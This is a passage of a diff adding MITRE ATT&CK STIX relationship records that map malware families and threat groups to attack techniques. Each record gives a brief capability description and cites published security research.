Is Not Your Average RAT. Retrieved November 9, 2018.", + "source_name": "DigiTrust NanoCore Jan 2017", + "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/" + }, + { + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "source_name": "PaloAlto NanoCore Feb 2016", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) uses port 46769 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8981bacd-5491-4434-b7ee-5fff27f4898a", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.201Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) enumerates directories and scans for certain files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--714ecf14-6200-4edf-9a9c-dd9830831266", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.362Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used shell and VBS scripts as well as embedded macros for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1d797bce-5f60-4c01-863e-be25ec0f770b", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "modified": "2019-04-25T12:37:45.628Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) uses cmd.exe to set the Registry Run key value. It also has a command to spawn a command shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0c56b369-b665-4001-87ff-d27ae135cc64", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "source_name": "Palo Alto DNS Requests", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has communicated with its C2 server over ports 4443 and 3543.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--35b912d8-bf46-4dec-b2eb-c48c0056af6e", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[DDKONG](https://attack.mitre.org/software/S0255) decodes an embedded configuration using XOR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--309652a1-45a4-4479-9e84-dfab33d0a1f5", + "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) has the capability to edit the Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:05:36.507Z", + "id": "relationship--a21afd42-09ae-4e6b-a065-dc1b4454216d", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "modified": "2019-04-17T20:47:23.895Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.", + "source_name": "DigiTrust NanoCore Jan 2017", + "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/" + }, + { + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "source_name": "PaloAlto NanoCore Feb 2016", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--70e7b609-b57d-4c71-931e-b8a658b0ba0d", + "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "modified": "2019-03-25T17:06:37.193Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--66819f02-7a22-4f21-8e4f-df24969e5567", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.335Z", + "id": "relationship--1f0832ca-30f2-4f5a-8e92-1d15222fc087", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.560Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) uses DNS for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:40:37.710Z", + "id": "relationship--94c08652-89f8-406d-b0c0-aeb35da36d99", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "modified": "2019-04-23T21:09:54.630Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "source_name": "Zscaler Cobian Aug 2017", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) exfiltrates collected files via removable media from air-gapped victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2b97e16e-8c39-4e5e-ad90-15c10f15d923", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "Many [Misdat](https://attack.mitre.org/software/S0083) samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ea964313-8f60-4cff-800c-2ea49e2c19d7", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Elise](https://attack.mitre.org/software/S0081) can download additional files from the C2 server for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:57:39.539Z", + "id": "relationship--138c4559-eae3-49a2-baea-b9549aef881c", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.852Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "source_name": "Accenture Dragonfish Jan 2018", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) has a command to list its directory and logical drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--358047bf-1dd3-4fc4-bc1a-b7004bd54b8d", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) copied and installed tools for operations once in the victim environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--55da48f1-79ee-44b7-af90-175622c411a8", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.572Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) gathers the time zone information from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:42:09.659Z", + "id": "relationship--8b6dbaf7-d578-4bc6-8f16-07e7c1aeedc8", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.659Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.027Z", + "id": "relationship--0aac9510-f48a-4b28-ae0e-c6facc1635ae", + "source_ref": "course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e", + "modified": "2019-07-25T11:35:23.395Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) can modify registry entries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:11:44.111Z", + "id": "relationship--c75ec383-2acd-479f-b9b7-b2038ec10a7d", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.624Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) has a command to execute VBS and GO scripts on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:10:04.206Z", + "id": "relationship--3456ec22-b2ac-470d-8a01-f5d5797a3521", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "modified": "2019-09-04T23:04:50.155Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) contains a module that collects documents with certain extensions from removable media or fixed drives connected via USB.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--96e928af-dbfc-4743-a1dc-353904e21fd3", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used command-line interfaces for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--26eafe5d-0ffc-48cf-ba1d-3681bdcbfaa3", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.222Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e", + "description": "[Proton](https://attack.mitre.org/software/S0279) modifies the tty_tickets line in the sudoers file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5408c62f-55e0-4480-8449-ec3c191b66b8", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Helminth](https://attack.mitre.org/software/S0170) establishes persistence by creating a shortcut in the Start Menu folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2a7cd52f-46e5-4a18-bdf6-4c38edfcb97c", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) can open a reverse shell on the system to execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:47:41.413Z", + "id": "relationship--55c7a861-5b9d-43f6-9430-914a35f9af77", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "modified": "2019-01-30T15:47:41.413Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "source_name": "TrendMicro Lazarus Nov 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:17:49.379Z", + "id": "relationship--831143c2-3477-49e4-8806-c1e07be0fa79", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.369Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) searches for files with specific file extensions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:33:34.620Z", + "id": "relationship--5b83337c-5030-402d-ad28-1b9f5cf782cc", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "modified": "2019-04-23T21:17:49.847Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "source_name": "Unit 42 BadPatch Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can communicate over multiple C2 host and port combinations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.317Z", + "id": "relationship--d3e0b0b8-797f-4638-bcb6-aa688c3a0a9a", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.597Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[SynAck](https://attack.mitre.org/software/S0242) enumerates all running services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--97a083ff-40ef-4e4c-9837-4ab1537a063c", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "modified": "2019-07-26T23:00:57.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use VBScript (VBE), PowerShell, and JavaScript code for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:13:11.872Z", + "id": "relationship--c5d09de5-7a1e-45b5-a7ac-1637e8fe8eff", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a 